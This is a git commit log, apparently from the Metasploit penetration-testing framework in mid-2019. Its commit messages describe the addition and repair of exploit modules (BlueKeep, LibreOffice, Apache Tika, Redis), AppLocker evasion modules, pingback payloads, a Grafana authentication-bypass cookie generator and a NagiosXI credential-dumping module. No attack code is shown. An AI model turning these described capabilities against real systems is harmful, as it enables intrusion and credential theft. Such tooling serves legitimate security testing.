Tom Sellers 7d30c92375 RDP: rubocop cleanup 2019-08-07 09:12:53 -05:00
Tom Sellers b6956bd3be RDP: moar migration 2019-08-07 08:50:01 -05:00
Tom Sellers 0c1868b158 RDP: migrate security nego to lib 2019-08-07 08:27:15 -05:00
Tom Sellers 7dc87bf8bc RDP: Refactor protocol code 2019-08-07 07:25:42 -05:00
Tom Sellers a63e0ba106 BlueKeep: Add DoS exploit 2019-08-06 20:15:53 -05:00
James Lee 3b7abfcaf2 Use correct case for SSL option 2019-08-06 15:25:34 -05:00
Tim W 979681443c add rudimentary check method 2019-08-06 14:48:37 +08:00
Tim W b35b4674d0 fix forking behaviour 2019-08-06 14:17:28 +08:00
Tim W 0c4fc639fa update with bcoles poc.c 2019-08-06 13:55:01 +08:00
Tim W f48d1b1231 add more links 2019-08-06 13:54:15 +08:00
Brendan Coles efd6bec827 Store opasswd password history 2019-08-04 01:12:06 +00:00
NickTyrer 61a1abab79 update csproj arch targeting 2019-08-03 10:41:13 +01:00
LoadLow 2432104a8d Update libreoffice_logo_exec.md 2019-08-03 06:24:04 +02:00
LoadLow 41822c0c1e Update libreoffice_logo_exec.md 2019-08-03 06:15:19 +02:00
LoadLow c3b6e33f2e Adds suggested modifications 2019-08-03 06:10:11 +02:00
Load ee6c4a906a Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:40 +02:00
Load dbced012ef Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:53:29 +02:00
Load ce552ab88b Removes double quotes in libreoffice_logo_exec
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:52:12 +02:00
Load 5e2463c5d4 Update libreoffice_logo_exec documentation
Co-Authored-By: Carter Brainerd <0xCB@protonmail.com>
2019-08-03 05:51:50 +02:00
Load 009e2afcfa Update libreoffice_logo_exec documentation
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-08-03 05:51:30 +02:00
Pedro Ribeiro eab38b8b21 make requested changes 2019-08-02 22:49:43 +01:00
Pedro Ribeiro 817726699c make requested changes 2019-08-02 22:48:54 +01:00
William Vu cbe4771d29 Land #12159, EXITFUNC for pingback 2019-08-02 16:07:02 -05:00
bwatters-r7 c9d2013ddb Change generate method to match single payloads. 2019-08-02 15:47:36 -05:00
William Vu 6572fa93c4 Land #12158, needs_cleanup for on_new_session 2019-08-02 14:56:47 -05:00
William Vu d9d48ffa91 Land #12152, EOFError fix for BlueKeep scanner 2019-08-02 11:23:22 -05:00
Adam Cammack e11de696d4 Make msftidy happy 2019-08-02 11:17:41 -05:00
bwatters-r7 20438614bb Stupid extra line.... 2019-08-02 11:11:19 -05:00
bwatters-r7 c6defb0264 Rubocop complaints and require_size additions 2019-08-02 11:09:14 -05:00
NickTyrer f675a974a6 implement changes suggested by @cbrnrd 2019-08-02 16:29:08 +01:00
bwatters-r7 14ee5c4a4f Update Windows payloads to support exitfunk 2019-08-02 10:28:57 -05:00
Adam Cammack cf9b94a964 Set needs_cleanup flag for exploits that need it
The `needs_cleanup` flag needs to be set per-module when an exploit
needs an interactive session to clean up. Some `FileDropper` exploits
need additional cleanup to what the mixin provides, but since all
`FileDropper`s already mark themselves as needing cleanup those are not
covered here. A few of these could potentially be refactored to use the
original exploitation method to clean up or to compile the list of
files/commands to clean up ahead of time, but that is out of the scope
of this fix.
2019-08-02 10:23:53 -05:00
Adam Cammack 5e64f8560a Fix whitespace 2019-08-02 10:23:41 -05:00
Quentin Kaiser 8085ad3046 Set default payload based on chosen target. 2019-08-02 10:47:28 +02:00
Quentin Kaiser 610bed8fd9 && is preferred over and. 2019-08-02 10:41:14 +02:00
Jacob Robles c4c0ed9187 Land #12155, Fix printed CVE number 2019-08-01 18:01:53 -05:00
Jacob Robles bbf0cb4d9d Land #11653, Apache Tika CVE-2018-1335 RCE 2019-08-01 17:43:57 -05:00
Metasploit 0e5a1278d4 Bump version of framework to 5.0.40 2019-08-01 14:56:07 -07:00
William Vu 178339db70 Rescue EOFError in quick check for patch
Thank you to @cnotin for noticing this case.
2019-08-01 15:03:36 -05:00
NickTyrer af5e071abe update documentation 2019-08-01 20:46:09 +01:00
Jacob Robles ed0c064a24 Fix printed CVE number 2019-08-01 09:57:48 -05:00
NickTyrer 107bb3e9ff add documentation 2019-08-01 09:06:35 +01:00
NickTyrer c8050adab2 add module applocker_evasion_presentationhost 2019-08-01 08:40:30 +01:00
svnsyn 02d0e36d2a No shows all vulnerable version and covers some edge cases 2019-08-01 08:06:36 +02:00
svnsyn 887c0a9dfc Added a documentation for the module grafana_auth_bypass 2019-08-01 08:04:21 +02:00
William Vu 8d2b29024a Fix typo 2019-07-31 17:44:10 -05:00
Wei Chen abc85e4266 Land #12130, Add evasion module applocker_evasion_msbuild 2019-07-31 16:32:29 -05:00
Wei Chen 3a4ec6fe82 Cosmetic changes 2019-07-31 16:31:44 -05:00
Shelby Pace bc3f87a950 add login and device id code 2019-07-31 16:31:22 -05:00
William Vu ae13736d50 Rescue EOFError in cve_2019_0708_bluekeep get_once 2019-07-31 16:01:20 -05:00
Jeffrey Martin 2e06b4e93f Land #12126, Implement "set PAYLOAD" by index 2019-07-31 14:50:20 -05:00
svnsyn 790f388fb3 I want to contribute a module for generating remember cookies for grafana instances where ldap or oauth is used.
These cookies can be used for authentication bypass, like its explained here:

https://github.com/u238/grafana-CVE-2018-15727
https://grafana.com/blog/2019/04/29/grafana-5.4.4-and-6.1.6-released-with-important-security-fix/

The module takes a username and generates a bad salted cookie.
It also takes one of these cookies to decrypt the username out of it.

Both cookies has to be set where as an existing session cookie should have been deleted before getting access.

I wrote it in python since I had a lot of different results while calculating this task comparing the go and ruby crypto libraries.
2019-07-31 18:59:00 +02:00
Jeffrey Martin a3245f5ac9 Land #12150, Accidentally removed include that is sort of imperative.... 2019-07-31 09:09:53 -05:00
bwatters-r7 36ae16df74 Accidentally removed include that is sort of imperative.... 2019-07-31 08:46:01 -05:00
LoadLow 8e8e6a2cf7 Fixes indent 2019-07-31 00:14:08 +02:00
Brent Cook 6bd7f6cb4a Land #12148, lock bcrypt to arm compatibe version 2019-07-30 17:07:34 -05:00
LoadLow 88f3ff9d59 Updates references 2019-07-31 00:00:30 +02:00
Jeffrey Martin e6c025811b Lock bcrypt gem until armhf support is restored.
Updates in 3.1.13 can cause native gem compile to fail due to
https://github.com/codahale/bcrypt-ruby/issues/201.
2019-07-30 16:47:26 -05:00
LoadLow 97589e534e Updates documentation for libreoffice_logo_exec 2019-07-30 23:37:06 +02:00
LoadLow b2dcaf6c4a Adds documentation for libreoffice_logo_exec 2019-07-30 23:34:54 +02:00
LoadLow 5f478b7fd6 Adds exploit module for CVE-2019-9848
uses on dom-loaded event (triggered just after opening the document) and still working on 6.2.5
2019-07-30 23:07:20 +02:00
h00die 060183c034 tika 1.15-1.17 2019-07-30 16:55:06 -04:00
bwatters-r7 fb7f30e60d Land #12129, Add Pingback Payloads
Merge branch 'land-12129' into upstream-master
2019-07-30 12:06:57 -05:00
Adam Cammack 517d32b082 Update payload cache sizes 2019-07-30 10:34:47 -05:00
Adam Cammack 23ea772076 Golf Ruby pingback payload syntax 2019-07-30 10:32:31 -05:00
Adam Cammack e6ea0c9fd7 Use binascii for Python pingback UUID encoding
This gives us compatibility for Python 3.x and 1.x
2019-07-30 10:18:24 -05:00
Adam Cammack 3cb1b4588b Golf Python payload variable names 2019-07-30 10:14:41 -05:00
h00die f053768801 restrict tika versions 2019-07-30 07:32:30 -04:00
bwatters-r7 79e17d0dda Remove unsupported options 2019-07-29 21:38:20 -05:00
bwatters-r7 05ffa6e4a0 More updates, optimizations, and style fixes 2019-07-29 16:29:32 -05:00
NickTyrer 4f7e9bd47c update file creation 2019-07-29 20:29:11 +01:00
bwatters-r7 d6dc397b21 Fix bugs introduced by syntax changes. 2019-07-29 14:00:09 -05:00
bwatters-r7 6bf10e1f91 Fixups for syntax 2019-07-29 11:55:51 -05:00
h00die 8f95ccc83d Land #12135 move docs to right locations 2019-07-29 12:15:31 -04:00
h00die 4ad1eaebd9 docs touchup 2019-07-29 12:09:47 -04:00
Shelby Pace 1faa1786c6 add test request 2019-07-29 10:28:07 -05:00
Metasploit bd2a1812a6 automatic module_metadata_base.json update 2019-07-28 21:21:14 -07:00
Brent Cook 5b8a75f544 Land #12119, Add OS X post module to manage Sonic Pi 2019-07-28 23:12:26 -05:00
Metasploit d08a1d1ac0 automatic module_metadata_base.json update 2019-07-28 20:09:16 -07:00
sinn3r fe664da890 Land #12131, Cast to_s in command_shell.rb
Cast to_s - Fix #11725
2019-07-28 21:56:25 -05:00
Wei Chen 2f4da50912 Land #12132, Catch EOFError in alphastor_devicemanager_exec.rb
Fix #12061
2019-07-28 21:54:38 -05:00
Wei Chen 537e12a5ac Land #12134, Fix typo in payload_inject 2019-07-28 21:52:09 -05:00
Wei Chen 2f720a1f26 Land #12137, Update setting new .exe of Sophos AV 2019-07-28 21:49:31 -05:00
Wei Chen 86b0b7b0e9 Land #12140, correct output printing bug from smb_enumshares 2019-07-28 21:46:58 -05:00
Wei Chen c47caec03f Land #12107, Add module Redis Unauthenticated Code Execution 2019-07-28 21:40:03 -05:00
Wei Chen 63de0051f4 Cosmetic changes 2019-07-28 21:38:54 -05:00
ines 4856e0f87d remove call for to_ascii on share_type 2019-07-28 10:19:58 +02:00
GabrielMioranza 4d6f16eac1 Update setting new .exe of Sophos AV
Add .exe used by Sophos AV Endpoint
2019-07-27 16:47:05 -03:00
caleBot e9e57895cd Update enum_nagios_xi.md
Added description
2019-07-27 11:33:51 -06:00
breeh c48a43a771 Adding post module for dumping credentials out of NagiosXI 2019-07-27 11:22:58 -06:00
PingouinRF 5b78788fff Moved documentation files mssql_sql.md and mssql_idf.md from documentation/modules/auxiliary/scanner/mssql/ to /documentation/modules/auxiliary/admin/mssql/ to match which the module's directory 2019-07-27 19:05:17 +02:00
PingouinRF 1d67217b3d renamed auxiliary/scanner/misc/java_jmx_scanner.md to java_jmx_server.md to match with the module's name 2019-07-27 19:03:32 +02:00
Francesco Soncina b6b3a54b79 fix typo in payload_inject
:)
2019-07-27 19:02:33 +02:00
Quentin Kaiser 2e79314d7b Updated documentation. 2019-07-27 11:09:34 +02:00
Quentin Kaiser 34c5277e4e Deprecate module. 2019-07-27 10:49:59 +02:00
Quentin Kaiser 413da527ab Module renaming. 2019-07-27 10:47:58 +02:00
Quentin Kaiser 18f7ae379b Add support for RV110W and RV215W + check method to fingerprint devices. 2019-07-27 10:45:31 +02:00
NickTyrer 9279b5a40a add documentation 2019-07-27 07:36:38 +01:00
Brendan Coles d2bcab4346 Catch EOFError - Fix #12061 2019-07-26 23:53:46 +00:00
Brendan Coles c3b7d0155a Cast to_s - Fix #11725 2019-07-26 23:48:37 +00:00
Adam Cammack bd6a0c872f Remove workspace reqs from remote db payloads
The requirements had already been removed from local payloads in
865f214a85
2019-07-26 17:55:57 -05:00
William Vu e6e3ec493b Rename play_pattern_timed durations to beats
This is so I don't forget they're beats, not seconds. Also, "times"
already has special meaning in Ruby, so let's not confuse ourselves
further.
2019-07-26 17:41:24 -05:00
William Vu 42c2d78731 Remove fluff for better effect 2019-07-26 17:18:39 -05:00
bwatters-r7 cec29c6473 More fixes for syntax 2019-07-26 14:51:44 -05:00
NickTyrer 29627495e1 update format 2019-07-26 20:45:08 +01:00
NickTyrer a329e36918 add evasion module applocker_evasion_msbuild 2019-07-26 20:16:29 +01:00
William Vu 61e9f2b5bf Fix rhythm of melody section
Thanks for your ears, @busterb!
2019-07-26 14:09:57 -05:00
bwatters-r7 79b7bbd2cf Update payload cache size and fix import bug 2019-07-26 13:52:36 -05:00
bwatters-r7 2f804faed9 Rubocop and @acammack cleanup suggestions 2019-07-26 12:36:59 -05:00
asoto-r7 99d6842915 Land #12124, Add HttpRawHeaders (file) advanced option to HttpClient 2019-07-26 11:37:10 -05:00
Brent Cook 463c147977 fix method check in metadata updates 2019-07-25 23:23:20 -05:00
bwatters-r7 93f8d94154 Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 19:45:10 -05:00
bwatters-r7 e710c93363 Remove async callback stuff for later work and change db checks 2019-07-25 19:45:10 -05:00
bwatters-r7 4a59c1be26 Other pry... 2019-07-25 19:45:10 -05:00
bwatters-r7 cd4ba1318a Unpry 2019-07-25 19:45:10 -05:00
bwatters-r7 8af6cad862 fix copy/pasta error on payload data read 2019-07-25 19:45:10 -05:00
bwatters-r7 9ed8aa9411 update the read/write for pingback data 2019-07-25 19:45:10 -05:00
bwatters-r7 7a8090c3e7 Fix variable name 2019-07-25 19:45:10 -05:00
bwatters-r7 3536e8a0a9 Remove extra assignments elsewhere 2019-07-25 19:45:10 -05:00
bwatters-r7 68f7ece9a1 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-25 19:45:10 -05:00
asoto-r7 af285340ea Copy-pasta badness 2019-07-25 19:45:10 -05:00
asoto-r7 b0d602e0df Added autoload entries for AsyncCallback 2019-07-25 19:45:10 -05:00
bwatters-r7 2aadd6317b Fix printing in session handler while I'm at it... 2019-07-25 19:45:10 -05:00
bwatters-r7 e1ba4bd7ed delete extra file 2019-07-25 19:45:10 -05:00
bwatters-r7 7c2d214af2 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-25 19:45:05 -05:00
bwatters-r7 6ae3f97c4a Maybe include the super pingback type in the payloads? 2019-07-25 19:44:11 -05:00
bwatters-r7 310533f96c First stab at filtering payloads that require cleanup 2019-07-25 19:44:09 -05:00
bwatters-r7 80dbef20f2 Follow acammack's guidance for excluding filedropped exploits
usage of pingback payloads
2019-07-25 19:43:14 -05:00
asoto-r7 14039b18b1 Correctly fixed json_to_mdm_object (thanks @mkienow-r7 for the catch)! 2019-07-25 19:43:14 -05:00
asoto-r7 26257fabef Updated json_to_mdm_object() calls, removing third parameter 2019-07-25 19:43:14 -05:00
asoto-r7 72977e6ff9 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-07-25 19:43:14 -05:00
asoto-r7 9b6d4587a4 cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-07-25 19:43:14 -05:00
asoto-r7 88213f1e6f Pingback: Addressed some comments and suggestions 2019-07-25 19:43:14 -05:00
bwatters-r7 f098a836e9 Stupid pry... 2019-07-25 19:43:14 -05:00
bwatters-r7 949b356f09 Update the session to die after callback
Remove stale old file
2019-07-25 19:43:14 -05:00
asoto-r7 a12f9a5e4c Revert f162822 2019-07-25 19:43:14 -05:00
bwatters-r7 398a5dcce1 Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-07-25 19:43:14 -05:00
asoto-r7 53447462bd Remove a left-over 'pry' debugger invocation 2019-07-25 19:43:14 -05:00
bwatters-r7 374b56de89 Should not have changed reverse_tcp.rb 2019-07-25 19:43:14 -05:00
asoto-r7 8f0aaa70a6 cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-07-25 19:43:13 -05:00
asoto-r7 7778ada271 Remove workspace reference in async_callback database table 2019-07-25 19:43:13 -05:00
bwatters-r7 33513bd947 Undo changes to windows/bind_tcp 2019-07-25 19:43:13 -05:00
bwatters-r7 39f193e649 Stupid last trailing space 2019-07-25 19:43:13 -05:00
bwatters-r7 3e765090e2 Fix some spacing 2019-07-25 19:43:13 -05:00
bwatters-r7 08a765df81 Shut up, nmsftidy.... I hope 2019-07-25 19:42:51 -05:00
bwatters-r7 f7f7e969ee Hold off on venom changes for a new PR 2019-07-25 19:42:51 -05:00
bwatters-r7 2a242d9b19 Add the new file 2019-07-25 19:42:51 -05:00
bwatters-r7 e1e75d87e9 Code deduplication 2019-07-25 19:42:51 -05:00
asoto-r7 cb270cd57a WIP: Adding default pingback payload to parent check method 2019-07-25 19:42:50 -05:00
asoto-r7 92fa8f4377 Clean up requires and includes 2019-07-25 19:42:50 -05:00
asoto-r7 79c45a6c52 Clean up require's and calculate CachedSize 2019-07-25 19:42:50 -05:00
asoto-r7 58f3a067ab cmd/unix/pingback_reverse and cmd/unix/pingback_bind 2019-07-25 19:42:50 -05:00
bwatters-r7 9989c731d0 That's better..... 2019-07-25 19:42:50 -05:00
bwatters-r7 c866e0aff6 First swing at x86 windows reverse_tcp pingback
Still issues with the looping and counters.
2019-07-25 19:42:50 -05:00
bwatters-r7 e51e271c92 Remove extra stuff that was part of the staged attempt at pingback.
It is no longer required because pingback is now a single.
2019-07-25 19:42:50 -05:00
asoto-r7 be011da9f9 Ruby pingback payload (bind and reverse) 2019-07-25 19:42:50 -05:00
asoto-r7 4241d3384c Python pingback payload (reverse only) 2019-07-25 19:42:50 -05:00
asoto-r7 1d45c3a176 python pingback_bind_tcp: send UUID as raw bytes instead of ASCII 2019-07-25 19:42:50 -05:00
asoto-r7 89913924f6 Remove 'workspace' option from Mdm::Payload.create 2019-07-25 19:42:50 -05:00
asoto-r7 94c6ee3f7b Python pingback payload (bind only) 2019-07-25 19:42:26 -05:00
asoto-r7 247f246475 Linux pingback payloads 2019-07-25 19:42:26 -05:00
Aaron Soto f4fa70da0a Add error handling for users without a database configured 2019-07-25 19:42:26 -05:00
Aaron Soto 8c6f2d974b Enable database support in msfvenom to allow for saving UUIDs 2019-07-25 19:42:26 -05:00
Aaron Soto 6d6b33968f Record UUID upon pingback_reverse_tcp generation and callback 2019-07-25 19:42:26 -05:00
Aaron Soto 3b54fb30dd Record UUID upon reverse_tcp_pingback generation and callback 2019-07-25 19:42:26 -05:00
bwatters-r7 1b64b9f984 Fix odd edge case converting binary to hex string 2019-07-25 19:42:26 -05:00
bwatters-r7 5202a85cd8 Use nonvolitile register for the counter
Change option name to match convention
2019-07-25 19:42:26 -05:00
bwatters-r7 d626e5641d Updated to have a handler 2019-07-25 19:42:26 -05:00
bwatters-r7 9805a14875 Add support for pingback as a single and session... 2019-07-25 19:42:26 -05:00
bwatters-r7 cc69fa286f Let's try it as a single this time.... 2019-07-25 19:42:26 -05:00
bwatters-r7 4ca6c35053 Add new files 2019-07-25 19:42:26 -05:00
bwatters-r7 e798a0dcf0 Add pingback changes 2019-07-25 19:42:25 -05:00
bwatters-r7 f0f45d9882 Maybe stage the new files, too 2019-07-25 19:42:25 -05:00
Aaron Soto 542bf00771 REST API for async-callbacks, removed array datatypes, cleaned up Swagger 2019-07-25 19:42:25 -05:00
Aaron Soto 67d3bf5e01 WIP: REST API for async-callbacks, added UUID search 2019-07-25 19:42:25 -05:00
Aaron Soto 353e8e6be9 WIP: Remove PUT and DELETE endpoints 2019-07-25 19:42:25 -05:00
Aaron Soto a1b51361b0 Bring pingback-payload changes into public framework 2019-07-25 19:42:25 -05:00
Aaron Soto 47ee86ac11 WIP: REST API for async-callbacks 2019-07-25 19:42:25 -05:00
Jeffrey Martin 5134dbd94e Land #12127, Revert pingback 2019-07-25 17:14:21 -05:00
Brent Cook 109c0d0a9b Revert "automatic module_metadata_base.json update"
This reverts commit 5a5f3a88b7.

undelete module metadata as well
2019-07-25 16:54:41 -05:00
Brent Cook 38b98dc6f7 Revert "Land #11903, initial implementation of "pingback" payloads"
This reverts commit 3bd3dfc86e, reversing
changes made to d7bc50fb25.

There is an issue with module cache builds when this is present that needs to be addressed.
2019-07-25 16:44:09 -05:00
Metasploit 5a5f3a88b7 automatic module_metadata_base.json update 2019-07-25 14:14:25 -07:00
William Vu 0d041df91f Actually test command shell support and fix it 2019-07-25 15:09:35 -05:00
William Vu da188502e4 Update method name for indexing from a list
Module-specific code was moved back into modules.rb and core.rb.
2019-07-25 14:26:42 -05:00
PingouinRF 65c9568623 Merge pull request #1 from rapid7/master
Updating from upstream
2019-07-25 20:45:30 +02:00
Brent Cook 3bd3dfc86e Land #11903, initial implementation of "pingback" payloads 2019-07-25 12:17:04 -05:00
Metasploit d7bc50fb25 Bump version of framework to 5.0.39 2019-07-25 10:05:33 -07:00
bwatters-r7 0537ea1f6c Changes to venom to handle pingbacks and really delete extra files, this time. 2019-07-25 11:02:48 -05:00
Metasploit 4bbf5768c8 automatic module_metadata_base.json update 2019-07-25 07:30:09 -07:00
Wei Chen f09cfade62 Land #11205, Add support for Linux and pubprn.vbs to web_delivery 2019-07-25 09:15:40 -05:00
bwatters-r7 709a9c2156 Remove async callback stuff for later work and change db checks 2019-07-25 09:08:22 -05:00
William Vu a22ad9ad42 Templatize HttpRawHeaders with ERB 2019-07-24 21:23:22 -05:00
William Vu 40b040b3e6 Cache "show payloads" and set PAYLOAD by index 2019-07-24 20:15:12 -05:00
William Vu 29d6c270d4 Fix setting PAYLOAD clearing target DefaultOptions 2019-07-24 17:38:14 -05:00
bwatters-r7 2f9e638b01 Other pry... 2019-07-24 17:15:20 -05:00
bwatters-r7 01b200bafa Unpry 2019-07-24 16:58:44 -05:00
bwatters-r7 bb1981462c fix copy/pasta error on payload data read 2019-07-24 16:06:52 -05:00
bwatters-r7 a84fb40a4b update the read/write for pingback data 2019-07-24 15:36:33 -05:00
William Vu 1ba0d1ee5b Once more, with feeling 2019-07-24 14:59:12 -05:00
William Vu 7730b510c1 Update HttpHeaders to HttpRawHeaders to match desc 2019-07-24 14:52:56 -05:00
William Vu 800737690a Add HttpHeaders file advanced option to HttpClient 2019-07-24 13:15:44 -05:00
Metasploit 4ca7808ed9 automatic module_metadata_base.json update 2019-07-23 11:38:46 -07:00
Wei Chen 8f8e32b246 Land #11795, Add evasion module applocker_evasion_install_util 2019-07-23 13:30:33 -05:00
Wei Chen 261759da11 Cosmetic changes 2019-07-23 13:28:15 -05:00
Metasploit 9f37381500 automatic module_metadata_base.json update 2019-07-23 10:29:47 -07:00
Wei Chen 967b2a018f Land #12010, Add exploit module for wp-database-backup Wordpress plugin 2019-07-23 12:21:23 -05:00
Wei Chen ca664512ce Minor corrections in check and a unsed return value 2019-07-23 12:20:14 -05:00
Metasploit adeef68617 automatic module_metadata_base.json update 2019-07-23 09:04:22 -07:00
Wei Chen 6dfcaedf02 Land #12116, cisco docs and bug fixes 2019-07-23 10:49:25 -05:00
William Vu 6448775d52 Land #12121, rex-text update to 0.2.22 for XOR 2019-07-23 10:17:08 -05:00
William Vu 0decb34f28 Bump rex-text gem to 0.2.22 for XOR enhancements 2019-07-23 02:35:11 -05:00
Metasploit f689b457ac automatic module_metadata_base.json update 2019-07-23 00:24:14 -07:00
William Vu 65bdd53962 Land #12033, xor_context hostname-keyed encoder 2019-07-23 02:14:03 -05:00
William Vu a952fc303b Fix play_pattern_timed 2019-07-22 23:53:24 -05:00
William Vu 3bc65b0e9e Play it like a real band 2019-07-22 22:23:44 -05:00
William Vu 3eb3ab1db2 Add side effects 2019-07-22 18:56:23 -05:00
William Vu e5e283a1dc Fix another module doc 2019-07-22 18:52:54 -05:00
William Vu 5688db10a3 Add module doc 2019-07-22 18:52:44 -05:00
William Vu 283f9d2e08 Add OS X Manage Sonic Pi post module 2019-07-22 18:46:02 -05:00
Metasploit 72b40c676a automatic module_metadata_base.json update 2019-07-22 16:09:37 -07:00
asoto-r7 6b60832988 Land #12095, Ahsay backup v7.x - v8.1.1.50 file upload 2019-07-22 18:01:32 -05:00
asoto-r7 77a17f37e7 Land #12108, Prefer Rex::Text.dehex over hex_to_raw in msfvenom 2019-07-22 17:17:43 -05:00
bwatters-r7 182700da44 Fix variable name 2019-07-22 15:14:30 -05:00
bwatters-r7 787c346af2 Remove extra assignments elsewhere 2019-07-22 15:01:33 -05:00
Metasploit 20b650ec74 automatic module_metadata_base.json update 2019-07-22 12:56:03 -07:00
William Vu dd4033be49 Land #12111, nmod fix for non-scanner aux RHOSTS
Credit to @fd0 for finding the bug in java_rmi_registry.
2019-07-22 14:40:46 -05:00
bwatters-r7 6396bccf63 Removed superfluous assignment and populated datastore with pingback_uuid
for payloads that require the pingbackvalue to be in the datastore.
2019-07-22 13:59:57 -05:00
Shelby Pace 030ac60fce Land #12084, Add Schneider Encoder Exploit 2019-07-22 12:49:44 -05:00
Shelby Pace 0293e74190 remove extra lines 2019-07-22 12:28:47 -05:00
Shelby Pace 6a2ae1418a format xml, change headers 2019-07-22 12:24:55 -05:00
Wietsman 3b08ed88d1 #12095 added version check if vulnerable
#12095 cleaned up the code
#12095 added more output
#12095 added comments
2019-07-22 16:43:24 +02:00
h00die 0c510ca428 cisco spec w/ more usernames 2019-07-21 21:59:04 -04:00
h00die f19ddc11e8 cisco docs and bug fixes 2019-07-21 20:57:47 -04:00
Green-m 9203a0adf0 Fix typo in #11551 to solve aux rhosts issue. 2019-07-21 19:54:44 +08:00
Green-m e71b92aa60 We are not evil! 2019-07-21 09:33:18 +08:00
Wietsman 71da3b7903 #12095 Added cleaning up of trial account and dropper files. 2019-07-21 03:21:15 +02:00
vitorespf d498eaceaf Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 01:17:55 -03:00
vitorespf bfa17a05b4 Update schneider_electric_net55xx_encoder.rb 2019-07-20 00:44:21 -03:00
vitorespf af7eba5828 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-20 00:07:24 -03:00
vitorespf a70a74d480 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:41:31 -03:00
vitorespf 3c57741794 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:38:45 -03:00
vitorespf 836805b3cd Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 23:37:18 -03:00
vitorespf c0377c97c5 Update schneider_electric_net55xx_encoder.rb 2019-07-19 23:31:10 -03:00
William Vu 8ef76684ab Prefer Rex::Text.dehex over Rex::Text.hex_to_raw
The former allows character literals interleaved with escaped hex.
2019-07-19 18:06:59 -05:00
asoto-r7 4b27eddad2 Copy-pasta badness 2019-07-19 14:14:39 -05:00
asoto-r7 fe9efd5dac Added autoload entries for AsyncCallback 2019-07-19 14:04:38 -05:00
vitorespf e1e89882d6 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:34 -03:00
vitorespf f1a6c0cc45 Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 14:08:09 -03:00
Green-m 07f3c074d4 Add doc and enhance the module. 2019-07-20 00:17:57 +08:00
vitorespf 68818aa4c7 Update schneider_electric_net55xx_encoder.rb 2019-07-19 10:30:05 -03:00
vitorespf 5732880db6 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 10:08:33 -03:00
vitorespf 460e83eb81 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:51 -03:00
vitorespf be791e551c Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:56:33 -03:00
vitorespf ea3932e31b Update modules/exploits/unix/http/schneider_electric_net55xx_encoder.rb
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:55:19 -03:00
vitorespf 4a2388cad7 Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:49 -03:00
vitorespf 5f3f6f5b3f Update documentation/modules/exploit/unix/http/schneider_electric_net55xx_encoder.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2019-07-19 09:54:34 -03:00
vitorespf 6f656e51c4 Add files via upload 2019-07-19 09:21:21 -03:00
Tim W b258b8270e fix #12104, add CVE-2019-13272 PTRACE_TRACEME linux local exploit 2019-07-19 13:24:13 +08:00
bwatters-r7 6be5067b6c Catch public branch up with private 2019-07-18 16:08:40 -05:00
bwatters-r7 b89df1b3eb Fix printing in session handler while I'm at it... 2019-07-18 15:53:05 -05:00
bwatters-r7 66ff0af096 delete extra file 2019-07-18 15:45:41 -05:00
bwatters-r7 91ffeaa354 Clean up debugging, move options to one place and delete superflous file
change the uuid handing to prevent changes to it when it gets put in payloads
2019-07-18 15:44:20 -05:00
Metasploit c0033987b0 Bump version of framework to 5.0.38 2019-07-18 10:04:30 -07:00
vitorespf 7a552369df Update schneider_electric_net55xx_encoder.rb 2019-07-18 10:40:31 -03:00
Wietsman e26b650f31 #12095 Fixed Password complexity generation
#12095 Fixed trial account creation
#12095 Fixed calling functions
2019-07-18 13:13:39 +02:00
Guillaume Andre 395e4d2424 Update documentation. Register options by alphabetical order.
Change-Id: I46bb3701107a504dddbf030e0345d7adc83bafac
2019-07-18 10:45:44 +01:00
Wietse Boonstra 2b7d6e07b1 #12095 Fixed issue with function naming.
Added random username and password generating
2019-07-18 10:54:12 +02:00
Shelby Pace 61d5be5981 add module skeleton and check 2019-07-17 15:51:11 -05:00
bwatters-r7 2ebc2c10aa Maybe include the super pingback type in the payloads? 2019-07-17 14:13:42 -05:00
holdonasec 1064aa3f55 Suggested changes
- Remove unused `test` variable

 - Update `print` to `print_line`

 - Use `Rex` for base64 encoding
2019-07-17 14:29:57 -04:00
bwatters-r7 f2ed823516 First stab at filtering payloads that require cleanup 2019-07-17 13:23:20 -05:00
Wietsman c28bff8435 #12095 Added documentation 2019-07-17 12:55:18 +02:00
Green-m b6697f5016 Add redis rce module and data stuff.
To do:
1. Check env of system and compiler.
2. Add a compiled so file to be compatible with windows and mac.
3. Add doc.
2019-07-17 15:33:02 +08:00
vitorespf 20e79e08dc Update schneider_electric_net55xx_encoder.rb 2019-07-16 22:26:18 -04:00
